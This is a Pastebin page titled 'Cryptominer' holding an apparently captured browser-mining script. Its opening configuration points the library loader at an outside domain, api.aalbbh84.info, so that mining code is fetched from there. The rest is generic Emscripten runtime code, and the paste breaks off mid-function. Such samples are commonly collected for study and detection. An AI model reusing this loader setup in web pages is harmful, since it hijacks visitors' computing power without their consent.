daily pastebin goal
68%
SHARE
TWEET

Cryptominer

BeanBagKing Feb 12th, 2018 235 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. self.CH = self.CH || {};
  2. self.CH.CONFIG = {
  3.     LIB_URL: "https://api.aalbbh84.info/lib/"
  4. };
  5. var Module = {
  6.     locateFile: (function(path) {
  7.         return CH.CONFIG.LIB_URL + path
  8.     }
  9.     )
  10. };
  11. var Module;
  12. if (!Module)
  13.     Module = (typeof Module !== "undefined" ? Module : null) || {};
  14. var moduleOverrides = {};
  15. for (var key in Module) {
  16.     if (Module.hasOwnProperty(key)) {
  17.         moduleOverrides[key] = Module[key]
  18.     }
  19. }
  20. var ENVIRONMENT_IS_WEB = false;
  21. var ENVIRONMENT_IS_WORKER = false;
  22. var ENVIRONMENT_IS_NODE = false;
  23. var ENVIRONMENT_IS_SHELL = false;
  24. if (Module["ENVIRONMENT"]) {
  25.     if (Module["ENVIRONMENT"] === "WEB") {
  26.         ENVIRONMENT_IS_WEB = true
  27.     } else if (Module["ENVIRONMENT"] === "WORKER") {
  28.         ENVIRONMENT_IS_WORKER = true
  29.     } else if (Module["ENVIRONMENT"] === "NODE") {
  30.         ENVIRONMENT_IS_NODE = true
  31.     } else if (Module["ENVIRONMENT"] === "SHELL") {
  32.         ENVIRONMENT_IS_SHELL = true
  33.     } else {
  34.         throw new Error("The provided Module['ENVIRONMENT'] value is not valid. It must be one of: WEB|WORKER|NODE|SHELL.")
  35.     }
  36. } else {
  37.     ENVIRONMENT_IS_WEB = typeof window === "object";
  38.     ENVIRONMENT_IS_WORKER = typeof importScripts === "function";
  39.     ENVIRONMENT_IS_NODE = typeof process === "object" && typeof require === "function" && !ENVIRONMENT_IS_WEB && !ENVIRONMENT_IS_WORKER;
  40.     ENVIRONMENT_IS_SHELL = !ENVIRONMENT_IS_WEB && !ENVIRONMENT_IS_NODE && !ENVIRONMENT_IS_WORKER
  41. }
  42. if (ENVIRONMENT_IS_NODE) {
  43.     if (!Module["print"])
  44.         Module["print"] = console.log;
  45.     if (!Module["printErr"])
  46.         Module["printErr"] = console.warn;
  47.     var nodeFS;
  48.     var nodePath;
  49.     Module["read"] = function shell_read(filename, binary) {
  50.         if (!nodeFS)
  51.             nodeFS = require("fs");
  52.         if (!nodePath)
  53.             nodePath = require("path");
  54.         filename = nodePath["normalize"](filename);
  55.         var ret = nodeFS["readFileSync"](filename);
  56.         return binary ? ret : ret.toString()
  57.     }
  58.     ;
  59.     Module["readBinary"] = function readBinary(filename) {
  60.         var ret = Module["read"](filename, true);
  61.         if (!ret.buffer) {
  62.             ret = new Uint8Array(ret)
  63.         }
  64.         assert(ret.buffer);
  65.         return ret
  66.     }
  67.     ;
  68.     Module["load"] = function load(f) {
  69.         globalEval(read(f))
  70.     }
  71.     ;
  72.     if (!Module["thisProgram"]) {
  73.         if (process["argv"].length > 1) {
  74.             Module["thisProgram"] = process["argv"][1].replace(/\\/g, "/")
  75.         } else {
  76.             Module["thisProgram"] = "unknown-program"
  77.         }
  78.     }
  79.     Module["arguments"] = process["argv"].slice(2);
  80.     if (typeof module !== "undefined") {
  81.         module["exports"] = Module
  82.     }
  83.     process["on"]("uncaughtException", (function(ex) {
  84.         if (!(ex instanceof ExitStatus)) {
  85.             throw ex
  86.         }
  87.     }
  88.     ));
  89.     Module["inspect"] = (function() {
  90.         return "[Emscripten Module object]"
  91.     }
  92.     )
  93. } else if (ENVIRONMENT_IS_SHELL) {
  94.     if (!Module["print"])
  95.         Module["print"] = print;
  96.     if (typeof printErr != "undefined")
  97.         Module["printErr"] = printErr;
  98.     if (typeof read != "undefined") {
  99.         Module["read"] = read
  100.     } else {
  101.         Module["read"] = function shell_read() {
  102.             throw "no read() available"
  103.         }
  104.     }
  105.     Module["readBinary"] = function readBinary(f) {
  106.         if (typeof readbuffer === "function") {
  107.             return new Uint8Array(readbuffer(f))
  108.         }
  109.         var data = read(f, "binary");
  110.         assert(typeof data === "object");
  111.         return data
  112.     }
  113.     ;
  114.     if (typeof scriptArgs != "undefined") {
  115.         Module["arguments"] = scriptArgs
  116.     } else if (typeof arguments != "undefined") {
  117.         Module["arguments"] = arguments
  118.     }
  119.     if (typeof quit === "function") {
  120.         Module["quit"] = (function(status, toThrow) {
  121.             quit(status)
  122.         }
  123.         )
  124.     }
  125. } else if (ENVIRONMENT_IS_WEB || ENVIRONMENT_IS_WORKER) {
  126.     Module["read"] = function shell_read(url) {
  127.         var xhr = new XMLHttpRequest;
  128.         xhr.open("GET", url, false);
  129.         xhr.send(null);
  130.         return xhr.responseText
  131.     }
  132.     ;
  133.     if (ENVIRONMENT_IS_WORKER) {
  134.         Module["readBinary"] = function readBinary(url) {
  135.             var xhr = new XMLHttpRequest;
  136.             xhr.open("GET", url, false);
  137.             xhr.responseType = "arraybuffer";
  138.             xhr.send(null);
  139.             return new Uint8Array(xhr.response)
  140.         }
  141.     }
  142.     Module["readAsync"] = function readAsync(url, onload, onerror) {
  143.         var xhr = new XMLHttpRequest;
  144.         xhr.open("GET", url, true);
  145.         xhr.responseType = "arraybuffer";
  146.         xhr.onload = function xhr_onload() {
  147.             if (xhr.status == 200 || xhr.status == 0 && xhr.response) {
  148.                 onload(xhr.response)
  149.             } else {
  150.                 onerror()
  151.             }
  152.         }
  153.         ;
  154.         xhr.onerror = onerror;
  155.         xhr.send(null)
  156.     }
  157.     ;
  158.     if (typeof arguments != "undefined") {
  159.         Module["arguments"] = arguments
  160.     }
  161.     if (typeof console !== "undefined") {
  162.         if (!Module["print"])
  163.             Module["print"] = function shell_print(x) {
  164.                 console.log(x)
  165.             }
  166.             ;
  167.         if (!Module["printErr"])
  168.             Module["printErr"] = function shell_printErr(x) {
  169.                 console.warn(x)
  170.             }
  171.     } else {
  172.         var TRY_USE_DUMP = false;
  173.         if (!Module["print"])
  174.             Module["print"] = TRY_USE_DUMP && typeof dump !== "undefined" ? (function(x) {
  175.                 dump(x)
  176.             }
  177.             ) : (function(x) {}
  178.             )
  179.     }
  180.     if (ENVIRONMENT_IS_WORKER) {
  181.         Module["load"] = importScripts
  182.     }
  183.     if (typeof Module["setWindowTitle"] === "undefined") {
  184.         Module["setWindowTitle"] = (function(title) {
  185.             document.title = title
  186.         }
  187.         )
  188.     }
  189. } else {
  190.     throw "Unknown runtime environment. Where are we?"
  191. }
  192. function globalEval(x) {
  193.     eval.call(null, x)
  194. }
  195. if (!Module["load"] && Module["read"]) {
  196.     Module["load"] = function load(f) {
  197.         globalEval(Module["read"](f))
  198.     }
  199. }
  200. if (!Module["print"]) {
  201.     Module["print"] = (function() {}
  202.     )
  203. }
  204. if (!Module["printErr"]) {
  205.     Module["printErr"] = Module["print"]
  206. }
  207. if (!Module["arguments"]) {
  208.     Module["arguments"] = []
  209. }
  210. if (!Module["thisProgram"]) {
  211.     Module["thisProgram"] = "./this.program"
  212. }
  213. if (!Module["quit"]) {
  214.     Module["quit"] = (function(status, toThrow) {
  215.         throw toThrow
  216.     }
  217.     )
  218. }
  219. Module.print = Module["print"];
  220. Module.printErr = Module["printErr"];
  221. Module["preRun"] = [];
  222. Module["postRun"] = [];
  223. for (var key in moduleOverrides) {
  224.     if (moduleOverrides.hasOwnProperty(key)) {
  225.         Module[key] = moduleOverrides[key]
  226.     }
  227. }
  228. moduleOverrides = undefined;
  229. var Runtime = {
  230.     setTempRet0: (function(value) {
  231.         tempRet0 = value;
  232.         return value
  233.     }
  234.     ),
  235.     getTempRet0: (function() {
  236.         return tempRet0
  237.     }
  238.     ),
  239.     stackSave: (function() {
  240.         return STACKTOP
  241.     }
  242.     ),
  243.     stackRestore: (function(stackTop) {
  244.         STACKTOP = stackTop
  245.     }
  246.     ),
  247.     getNativeTypeSize: (function(type) {
  248.         switch (type) {
  249.         case "i1":
  250.         case "i8":
  251.             return 1;
  252.         case "i16":
  253.             return 2;
  254.         case "i32":
  255.             return 4;
  256.         case "i64":
  257.             return 8;
  258.         case "float":
  259.             return 4;
  260.         case "double":
  261.             return 8;
  262.         default:
  263.             {
  264.                 if (type[type.length - 1] === "*") {
  265.                     return Runtime.QUANTUM_SIZE
  266.                 } else if (type[0] === "i") {
  267.                     var bits = parseInt(type.substr(1));
  268.                     assert(bits % 8 === 0);
  269.                     return bits / 8
  270.                 } else {
  271.                     return 0
  272.                 }
  273.             }
  274.         }
  275.     }
  276.     ),
  277.     getNativeFieldSize: (function(type) {
  278.         return Math.max(Runtime.getNativeTypeSize(type), Runtime.QUANTUM_SIZE)
  279.     }
  280.     ),
  281.     STACK_ALIGN: 16,
  282.     prepVararg: (function(ptr, type) {
  283.         if (type === "double" || type === "i64") {
  284.             if (ptr & 7) {
  285.                 assert((ptr & 7) === 4);
  286.                 ptr += 4
  287.             }
  288.         } else {
  289.             assert((ptr & 3) === 0)
  290.         }
  291.         return ptr
  292.     }
  293.     ),
  294.     getAlignSize: (function(type, size, vararg) {
  295.         if (!vararg && (type == "i64" || type == "double"))
  296.             return 8;
  297.         if (!type)
  298.             return Math.min(size, 8);
  299.         return Math.min(size || (type ? Runtime.getNativeFieldSize(type) : 0), Runtime.QUANTUM_SIZE)
  300.     }
  301.     ),
  302.     dynCall: (function(sig, ptr, args) {
  303.         if (args && args.length) {
  304.             return Module["dynCall_" + sig].apply(null, [ptr].concat(args))
  305.         } else {
  306.             return Module["dynCall_" + sig].call(null, ptr)
  307.         }
  308.     }
  309.     ),
  310.     functionPointers: [],
  311.     addFunction: (function(func) {
  312.         for (var i = 0; i < Runtime.functionPointers.length; i++) {
  313.             if (!Runtime.functionPointers[i]) {
  314.                 Runtime.functionPointers[i] = func;
  315.                 return 2 * (1 + i)
  316.             }
  317.         }
  318.         throw "Finished up all reserved function pointers. Use a higher value for RESERVED_FUNCTION_POINTERS."
  319.     }
  320.     ),
  321.     removeFunction: (function(index) {
  322.         Runtime.functionPointers[(index - 2) / 2] = null
  323.     }
  324.     ),
  325.     warnOnce: (function(text) {
  326.         if (!Runtime.warnOnce.shown)
  327.             Runtime.warnOnce.shown = {};
  328.         if (!Runtime.warnOnce.shown[text]) {
  329.             Runtime.warnOnce.shown[text] = 1;
  330.             Module.printErr(text)
  331.         }
  332.     }
  333.     ),
  334.     funcWrappers: {},
  335.     getFuncWrapper: (function(func, sig) {
  336.         assert(sig);
  337.         if (!Runtime.funcWrappers[sig]) {
  338.             Runtime.funcWrappers[sig] = {}
  339.         }
  340.         var sigCache = Runtime.funcWrappers[sig];
  341.         if (!sigCache[func]) {
  342.             if (sig.length === 1) {
  343.                 sigCache[func] = function dynCall_wrapper() {
  344.                     return Runtime.dynCall(sig, func)
  345.                 }
  346.             } else if (sig.length === 2) {
  347.                 sigCache[func] = function dynCall_wrapper(arg) {
  348.                     return Runtime.dynCall(sig, func, [arg])
  349.                 }
  350.             } else {
  351.                 sigCache[func] = function dynCall_wrapper() {
  352.                     return Runtime.dynCall(sig, func, Array.prototype.slice.call(arguments))
  353.                 }
  354.             }
  355.         }
  356.         return sigCache[func]
  357.     }
  358.     ),
  359.     getCompilerSetting: (function(name) {
  360.         throw "You must build with -s RETAIN_COMPILER_SETTINGS=1 for Runtime.getCompilerSetting or emscripten_get_compiler_setting to work"
  361.     }
  362.     ),
  363.     stackAlloc: (function(size) {
  364.         var ret = STACKTOP;
  365.         STACKTOP = STACKTOP + size | 0;
  366.         STACKTOP = STACKTOP + 15 & -16;
  367.         return ret
  368.     }
  369.     ),
  370.     staticAlloc: (function(size) {
  371.         var ret = STATICTOP;
  372.         STATICTOP = STATICTOP + size | 0;
  373.         STATICTOP = STATICTOP + 15 & -16;
  374.         return ret
  375.     }
  376.     ),
  377.     dynamicAlloc: (function(size) {
  378.         var ret = HEAP32[DYNAMICTOP_PTR >> 2];
  379.         var end = (ret + size + 15 | 0) & -16;
  380.         HEAP32[DYNAMICTOP_PTR >> 2] = end;
  381.         if (end >= TOTAL_MEMORY) {
  382.             var success = enlargeMemory();
  383.             if (!success) {
  384.                 HEAP32[DYNAMICTOP_PTR >> 2] = ret;
  385.                 return 0
  386.             }
  387.         }
  388.         return ret
  389.     }
  390.     ),
  391.     alignMemory: (function(size, quantum) {
  392.         var ret = size = Math.ceil(size / (quantum ? quantum : 16)) * (quantum ? quantum : 16);
  393.         return ret
  394.     }
  395.     ),
  396.     makeBigInt: (function(low, high, unsigned) {
  397.         var ret = unsigned ? +(low >>> 0) + +(high >>> 0) * 4294967296 : +(low >>> 0) + +(high | 0) * 4294967296;
  398.         return ret
  399.     }
  400.     ),
  401.     GLOBAL_BASE: 1024,
  402.     QUANTUM_SIZE: 4,
  403.     __dummy__: 0
  404. };
  405. Module["Runtime"] = Runtime;
  406. var ABORT = 0;
  407. var EXITSTATUS = 0;
  408. function assert(condition, text) {
  409.     if (!condition) {
  410.         abort("Assertion failed: " + text)
  411.     }
  412. }
  413. function getCFunc(ident) {
  414.     var func = Module["_" + ident];
  415.     if (!func) {
  416.         try {
  417.             func = eval("_" + ident)
  418.         } catch (e) {}
  419.     }
  420.     assert(func, "Cannot call unknown function " + ident + " (perhaps LLVM optimizations or closure removed it?)");
  421.     return func
  422. }
  423. var cwrap, ccall;
  424. ((function() {
  425.     var JSfuncs = {
  426.         "stackSave": (function() {
  427.             Runtime.stackSave()
  428.         }
  429.         ),
  430.         "stackRestore": (function() {
  431.             Runtime.stackRestore()
  432.         }
  433.         ),
  434.         "arrayToC": (function(arr) {
  435.             var ret = Runtime.stackAlloc(arr.length);
  436.             writeArrayToMemory(arr, ret);
  437.             return ret
  438.         }
  439.         ),
  440.         "stringToC": (function(str) {
  441.             var ret = 0;
  442.             if (str !== null && str !== undefined && str !== 0) {
  443.                 var len = (str.length << 2) + 1;
  444.                 ret = Runtime.stackAlloc(len);
  445.                 stringToUTF8(str, ret, len)
  446.             }
  447.             return ret
  448.         }
  449.         )
  450.     };
  451.     var toC = {
  452.         "string": JSfuncs["stringToC"],
  453.         "array": JSfuncs["arrayToC"]
  454.     };
  455.     ccall = function ccallFunc(ident, returnType, argTypes, args, opts) {
  456.         var func = getCFunc(ident);
  457.         var cArgs = [];
  458.         var stack = 0;
  459.         if (args) {
  460.             for (var i = 0; i < args.length; i++) {
  461.                 var converter = toC[argTypes[i]];
  462.                 if (converter) {
  463.                     if (stack === 0)
  464.                         stack = Runtime.stackSave();
  465.                     cArgs[i] = converter(args[i])
  466.                 } else {
  467.                     cArgs[i] = args[i]
  468.                 }
  469.             }
  470.         }
  471.         var ret = func.apply(null, cArgs);
  472.         if (returnType === "string")
  473.             ret = Pointer_stringify(ret);
  474.         if (stack !== 0) {
  475.             if (opts && opts.async) {
  476.                 EmterpreterAsync.asyncFinalizers.push((function() {
  477.                     Runtime.stackRestore(stack)
  478.                 }
  479.                 ));
  480.                 return
  481.             }
  482.             Runtime.stackRestore(stack)
  483.         }
  484.         return ret
  485.     }
  486.     ;
  487.     var sourceRegex = /^function\s*[a-zA-Z$_0-9]*\s*\(([^)]*)\)\s*{\s*([^*]*?)[\s;]*(?:return\s*(.*?)[;\s]*)?}$/;
  488.     function parseJSFunc(jsfunc) {
  489.         var parsed = jsfunc.toString().match(sourceRegex).slice(1);
  490.         return {
  491.             arguments: parsed[0],
  492.             body: parsed[1],
  493.             returnValue: parsed[2]
  494.         }
  495.     }
  496.     var JSsource = null;
  497.     function ensureJSsource() {
  498.         if (!JSsource) {
  499.             JSsource = {};
  500.             for (var fun in JSfuncs) {
  501.                 if (JSfuncs.hasOwnProperty(fun)) {
  502.                     JSsource[fun] = parseJSFunc(JSfuncs[fun])
  503.                 }
  504.             }
  505.         }
  506.     }
  507.     cwrap = function cwrap(ident, returnType, argTypes) {
  508.         argTypes = argTypes || [];
  509.         var cfunc = getCFunc(ident);
  510.         var numericArgs = argTypes.every((function(type) {
  511.             return type === "number"
  512.         }
  513.         ));
  514.         var numericRet = returnType !== "string";
  515.         if (numericRet && numericArgs) {
  516.             return cfunc
  517.         }
  518.         var argNames = argTypes.map((function(x, i) {
  519.             return "$" + i
  520.         }
  521.         ));
  522.         var funcstr = "(function(" + argNames.join(",") + ") {";
  523.         var nargs = argTypes.length;
  524.         if (!numericArgs) {
  525.             ensureJSsource();
  526.             funcstr += "var stack = " + JSsource["stackSave"].body + ";";
  527.             for (var i = 0; i < nargs; i++) {
  528.                 var arg = argNames[i]
  529.                   , type = argTypes[i];
  530.                 if (type === "number")
  531.                     continue;
  532.                 var convertCode = JSsource[type + "ToC"];
  533.                 funcstr += "var " + convertCode.arguments + " = " + arg + ";";
  534.                 funcstr += convertCode.body + ";";
  535.                 funcstr += arg + "=(" + convertCode.returnValue + ");"
  536.             }
  537.         }
  538.         var cfuncname = parseJSFunc((function() {
  539.             return cfunc
  540.         }
  541.         )).returnValue;
  542.         funcstr += "var ret = " + cfuncname + "(" + argNames.join(",") + ");";
  543.         if (!numericRet) {
  544.             var strgfy = parseJSFunc((function() {
  545.                 return Pointer_stringify
  546.             }
  547.             )).returnValue;
  548.             funcstr += "ret = " + strgfy + "(ret);"
  549.         }
  550.         if (!numericArgs) {
  551.             ensureJSsource();
  552.             funcstr += JSsource["stackRestore"].body.replace("()", "(stack)") + ";"
  553.         }
  554.         funcstr += "return ret})";
  555.         return eval(funcstr)
  556.     }
  557. }
  558. ))();
  559. Module["ccall"] = ccall;
  560. Module["cwrap"] = cwrap;
  561. function setValue(ptr, value, type, noSafe) {
  562.     type = type || "i8";
  563.     if (type.charAt(type.length - 1) === "*")
  564.         type = "i32";
  565.     switch (type) {
  566.     case "i1":
  567.         HEAP8[ptr >> 0] = value;
  568.         break;
  569.     case "i8":
  570.         HEAP8[ptr >> 0] = value;
  571.         break;
  572.     case "i16":
  573.         HEAP16[ptr >> 1] = value;
  574.         break;
  575.     case "i32":
  576.         HEAP32[ptr >> 2] = value;
  577.         break;
  578.     case "i64":
  579.         tempI64 = [value >>> 0, (tempDouble = value,
  580.         +Math_abs(tempDouble) >= 1 ? tempDouble > 0 ? (Math_min(+Math_floor(tempDouble / 4294967296), 4294967295) | 0) >>> 0 : ~~+Math_ceil((tempDouble - +(~~tempDouble >>> 0)) / 4294967296) >>> 0 : 0)],
  581.         HEAP32[ptr >> 2] = tempI64[0],
  582.         HEAP32[ptr + 4 >> 2] = tempI64[1];
  583.         break;
  584.     case "float":
  585.         HEAPF32[ptr >> 2] = value;
  586.         break;
  587.     case "double":
  588.         HEAPF64[ptr >> 3] = value;
  589.         break;
  590.     default:
  591.         abort("invalid type for setValue: " + type)
  592.     }
  593. }
  594. Module["setValue"] = setValue;
  595. function getValue(ptr, type, noSafe) {
  596.     type = type || "i8";
  597.     if (type.charAt(type.length - 1) === "*")
  598.         type = "i32";
  599.     switch (type) {
  600.     case "i1":
  601.         return HEAP8[ptr >> 0];
  602.     case "i8":
  603.         return HEAP8[ptr >> 0];
  604.     case "i16":
  605.         return HEAP16[ptr >> 1];
  606.     case "i32":
  607.         return HEAP32[ptr >> 2];
  608.     case "i64":
  609.         return HEAP32[ptr >> 2];
  610.     case "float":
  611.         return HEAPF32[ptr >> 2];
  612.     case "double":
  613.         return HEAPF64[ptr >> 3];
  614.     default:
  615.         abort("invalid type for setValue: " + type)
  616.     }
  617.     return null
  618. }
  619. Module["getValue"] = getValue;
  620. var ALLOC_NORMAL = 0;
  621. var ALLOC_STACK = 1;
  622. var ALLOC_STATIC = 2;
  623. var ALLOC_DYNAMIC = 3;
  624. var ALLOC_NONE = 4;
  625. Module["ALLOC_NORMAL"] = ALLOC_NORMAL;
  626. Module["ALLOC_STACK"] = ALLOC_STACK;
  627. Module["ALLOC_STATIC"] = ALLOC_STATIC;
  628. Module["ALLOC_DYNAMIC"] = ALLOC_DYNAMIC;
  629. Module["ALLOC_NONE"] = ALLOC_NONE;
  630. function allocate(slab, types, allocator, ptr) {
  631.     var zeroinit, size;
  632.     if (typeof slab === "number") {
  633.         zeroinit = true;
  634.         size = slab
  635.     } else {
  636.         zeroinit = false;
  637.         size = slab.length
  638.     }
  639.     var singleType = typeof types === "string" ? types : null;
  640.     var ret;
  641.     if (allocator == ALLOC_NONE) {
  642.         ret = ptr
  643.     } else {
  644.         ret = [typeof _malloc === "function" ? _malloc : Runtime.staticAlloc, Runtime.stackAlloc, Runtime.staticAlloc, Runtime.dynamicAlloc][allocator === undefined ? ALLOC_STATIC : allocator](Math.max(size, singleType ? 1 : types.length))
  645.     }
  646.     if (zeroinit) {
  647.         var ptr = ret, stop;
  648.         assert((ret & 3) == 0);
  649.         stop = ret + (size & ~3);
  650.         for (; ptr < stop; ptr += 4) {
  651.             HEAP32[ptr >> 2] = 0
  652.         }
  653.         stop = ret + size;
  654.         while (ptr < stop) {
  655.             HEAP8[ptr++ >> 0] = 0
  656.         }
  657.         return ret
  658.     }
  659.     if (singleType === "i8") {
  660.         if (slab.subarray || slab.slice) {
  661.             HEAPU8.set(slab, ret)
  662.         } else {
  663.             HEAPU8.set(new Uint8Array(slab), ret)
  664.         }
  665.         return ret
  666.     }
  667.     var i = 0, type, typeSize, previousType;
  668.     while (i < size) {
  669.         var curr = slab[i];
  670.         if (typeof curr === "function") {
  671.             curr = Runtime.getFunctionIndex(curr)
  672.         }
  673.         type = singleType || types[i];
  674.         if (type === 0) {
  675.             i++;
  676.             continue
  677.         }
  678.         if (type == "i64")
  679.             type = "i32";
  680.         setValue(ret + i, curr, type);
  681.         if (previousType !== type) {
  682.             typeSize = Runtime.getNativeTypeSize(type);
  683.             previousType = type
  684.         }
  685.         i += typeSize
  686.     }
  687.     return ret
  688. }
  689. Module["allocate"] = allocate;
  690. function getMemory(size) {
  691.     if (!staticSealed)
  692.         return Runtime.staticAlloc(size);
  693.     if (!runtimeInitialized)
  694.         return Runtime.dynamicAlloc(size);
  695.     return _malloc(size)
  696. }
  697. Module["getMemory"] = getMemory;
  698. function Pointer_stringify(ptr, length) {
  699.     if (length === 0 || !ptr)
  700.         return "";
  701.     var hasUtf = 0;
  702.     var t;
  703.     var i = 0;
  704.     while (1) {
  705.         t = HEAPU8[ptr + i >> 0];
  706.         hasUtf |= t;
  707.         if (t == 0 && !length)
  708.             break;
  709.         i++;
  710.         if (length && i == length)
  711.             break
  712.     }
  713.     if (!length)
  714.         length = i;
  715.     var ret = "";
  716.     if (hasUtf < 128) {
  717.         var MAX_CHUNK = 1024;
  718.         var curr;
  719.         while (length > 0) {
  720.             curr = String.fromCharCode.apply(String, HEAPU8.subarray(ptr, ptr + Math.min(length, MAX_CHUNK)));
  721.             ret = ret ? ret + curr : curr;
  722.             ptr += MAX_CHUNK;
  723.             length -= MAX_CHUNK
  724.         }
  725.         return ret
  726.     }
  727.     return Module["UTF8ToString"](ptr)
  728. }
  729. Module["Pointer_stringify"] = Pointer_stringify;
  730. function AsciiToString(ptr) {
  731.     var str = "";
  732.     while (1) {
  733.         var ch = HEAP8[ptr++ >> 0];
  734.         if (!ch)
  735.             return str;
  736.         str += String.fromCharCode(ch)
  737.     }
  738. }
  739. Module["AsciiToString"] = AsciiToString;
  740. function stringToAscii(str, outPtr) {
  741.     return writeAsciiToMemory(str, outPtr, false)
  742. }
  743. Module["stringToAscii"] = stringToAscii;
  744. var UTF8Decoder = typeof TextDecoder !== "undefined" ? new TextDecoder("utf8") : undefined;
  745. function UTF8ArrayToString(u8Array, idx) {
  746.     var endPtr = idx;
  747.     while (u8Array[endPtr])
  748.         ++endPtr;
  749.     if (endPtr - idx > 16 && u8Array.subarray && UTF8Decoder) {
  750.         return UTF8Decoder.decode(u8Array.subarray(idx, endPtr))
  751.     } else {
  752.         var u0, u1, u2, u3, u4, u5;
  753.         var str = "";
  754.         while (1) {
  755.             u0 = u8Array[idx++];
  756.             if (!u0)
  757.                 return str;
  758.             if (!(u0 & 128)) {
  759.                 str += String.fromCharCode(u0);
  760.                 continue
  761.             }
  762.             u1 = u8Array[idx++] & 63;
  763.             if ((u0 & 224) == 192) {
  764.                 str += String.fromCharCode((u0 & 31) << 6 | u1);
  765.                 continue
  766.             }
  767.             u2 = u8Array[idx++] & 63;
  768.             if ((u0 & 240) == 224) {
  769.                 u0 = (u0 & 15) << 12 | u1 << 6 | u2
  770.             } else {
  771.                 u3 = u8Array[idx++] & 63;
  772.                 if ((u0 & 248) == 240) {
  773.                     u0 = (u0 & 7) << 18 | u1 << 12 | u2 << 6 | u3
  774.                 } else {
  775.                     u4 = u8Array[idx++] & 63;
  776.                     if ((u0 & 252) == 248) {
  777.                         u0 = (u0 & 3) << 24 | u1 << 18 | u2 << 12 | u3 << 6 | u4
  778.                     } else {
  779.                         u5 = u8Array[idx++] & 63;
  780.                         u0 = (u0 & 1) << 30 | u1 << 24 | u2 << 18 | u3 << 12 | u4 << 6 | u5
  781.                     }
  782.                 }
  783.             }
  784.             if (u0 < 65536) {
  785.                 str += String.fromCharCode(u0)
  786.             } else {
  787.                 var ch = u0 - 65536;
  788.                 str += String.fromCharCode(55296 | ch >> 10, 56320 | ch & 1023)
  789.             }
  790.         }
  791.     }
  792. }
  793. Module["UTF8ArrayToString"] = UTF8ArrayToString;
  794. function UTF8ToString(ptr) {
  795.     return UTF8ArrayToString(HEAPU8, ptr)
  796. }
  797. Module["UTF8ToString"] = UTF8ToString;
  798. function stringToUTF8Array(str, outU8Array, outIdx, maxBytesToWrite) {
  799.     if (!(maxBytesToWrite > 0))
  800.         return 0;
  801.     var startIdx = outIdx;
  802.     var endIdx = outIdx + maxBytesToWrite - 1;
  803.     for (var i = 0; i < str.length; ++i) {
  804.         var u = str.charCodeAt(i);
  805.         if (u >= 55296 && u <= 57343)
  806.             u = 65536 + ((u & 1023) << 10) | str.charCodeAt(++i) & 1023;
  807.         if (u <= 127) {
  808.             if (outIdx >= endIdx)
  809.                 break;
  810.             outU8Array[outIdx++] = u
  811.         } else if (u <= 2047) {
  812.             if (outIdx + 1 >= endIdx)
  813.                 break;
  814.             outU8Array[outIdx++] = 192 | u >> 6;
  815.             outU8Array[outIdx++] = 128 | u & 63
  816.         } else if (u <= 65535) {
  817.             if (outIdx + 2 >= endIdx)
  818.                 break;
  819.             outU8Array[outIdx++] = 224 | u >> 12;
  820.             outU8Array[outIdx++] = 128 | u >> 6 & 63;
  821.             outU8Array[outIdx++] = 128 | u & 63
  822.         } else if (u <= 2097151) {
  823.             if (outIdx + 3 >= endIdx)
  824.                 break;
  825.             outU8Array[outIdx++] = 240 | u >> 18;
  826.             outU8Array[outIdx++] = 128 | u >> 12 & 63;
  827.             outU8Array[outIdx++] = 128 | u >> 6 & 63;
  828.             outU8Array[outIdx++] = 128 | u & 63
  829.         } else if (u <= 67108863) {
  830.             if (outIdx + 4 >= endIdx)
  831.                 break;
  832.             outU8Array[outIdx++] = 248 | u >> 24;
  833.             outU8Array[outIdx++] = 128 | u >> 18 & 63;
  834.             outU8Array[outIdx++] = 128 | u >> 12 & 63;
  835.             outU8Array[outIdx++] = 128 | u >> 6 & 63;
  836.             outU8Array[outIdx++] = 128 | u & 63
  837.         } else {
  838.             if (outIdx + 5 >= endIdx)
  839.                 break;
  840.             outU8Array[outIdx++] = 252 | u >> 30;
  841.             outU8Array[outIdx++] = 128 | u >> 24 & 63;
  842.             outU8Array[outIdx++] = 128 | u >> 18 & 63;
  843.             outU8Array[outIdx++] = 128 | u >> 12 & 63;
  844.             outU8Array[outIdx++] = 128 | u >> 6 & 63;
  845.             outU8Array[outIdx++] = 128 | u & 63
  846.         }
  847.     }
  848.     outU8Array[outIdx] = 0;
  849.     return outIdx - startIdx
  850. }
  851. Module["stringToUTF8Array"] = stringToUTF8Array;
  852. function stringToUTF8(str, outPtr, maxBytesToWrite) {
  853.     return stringToUTF8Array(str, HEAPU8, outPtr, maxBytesToWrite)
  854. }
  855. Module["stringToUTF8"] = stringToUTF8;
  856. function lengthBytesUTF8(str) {
  857.     var len = 0;
  858.     for (var i = 0; i < str.length; ++i) {
  859.         var u = str.charCodeAt(i);
  860.         if (u >= 55296 && u <= 57343)
  861.             u = 65536 + ((u & 1023) << 10) | str.charCodeAt(++i) & 1023;
  862.         if (u <= 127) {
  863.             ++len
  864.         } else if (u <= 2047) {
  865.             len += 2
  866.         } else if (u <= 65535) {
  867.             len += 3
  868.         } else if (u <= 2097151) {
  869.             len += 4
  870.         } else if (u <= 67108863) {
  871.             len += 5
  872.         } else {
  873.             len += 6
  874.         }
  875.     }
  876.     return len
  877. }
  878. Module["lengthBytesUTF8"] = lengthBytesUTF8;
  879. var UTF16Decoder = typeof TextDecoder !== "undefined" ? new TextDecoder("utf-16le") : undefined;
  880. function demangle(func) {
  881.     var __cxa_demangle_func = Module["___cxa_demangle"] || Module["__cxa_demangle"];
  882.     if (__cxa_demangle_func) {
  883.         try {
  884.             var s = func.substr(1);
  885.             var len = lengthBytesUTF8(s) + 1;
  886.             var buf = _malloc(len);
  887.             stringToUTF8(s, buf, len);
  888.             var status = _malloc(4);
  889.             var ret = __cxa_demangle_func(buf, 0, 0, status);
  890.             if (getValue(status, "i32") === 0 && ret) {
  891.                 return Pointer_stringify(ret)
  892.             }
  893.         } catch (e) {} finally {
  894.             if (buf)
  895.                 _free(buf);
  896.             if (status)
  897.                 _free(status);
  898.             if (ret)
  899.                 _free(ret)
  900.         }
  901.         return func
  902.     }
  903.     Runtime.warnOnce("warning: build with -s DEMANGLE_SUPPORT=1 to link in libcxxabi demangling");
  904.     return func
  905. }
  906. function demangleAll(text) {
  907.     var regex = /__Z[\w\d_]+/g;
  908.     return text.replace(regex, (function(x) {
  909.         var y = demangle(x);
  910.         return x === y ? x : x + " [" + y + "]"
  911.     }
  912.     ))
  913. }
  914. function jsStackTrace() {
  915.     var err = new Error;
  916.     if (!err.stack) {
  917.         try {
  918.             throw new Error(0)
  919.         } catch (e) {
  920.             err = e
  921.         }
  922.         if (!err.stack) {
  923.             return "(no stack trace available)"
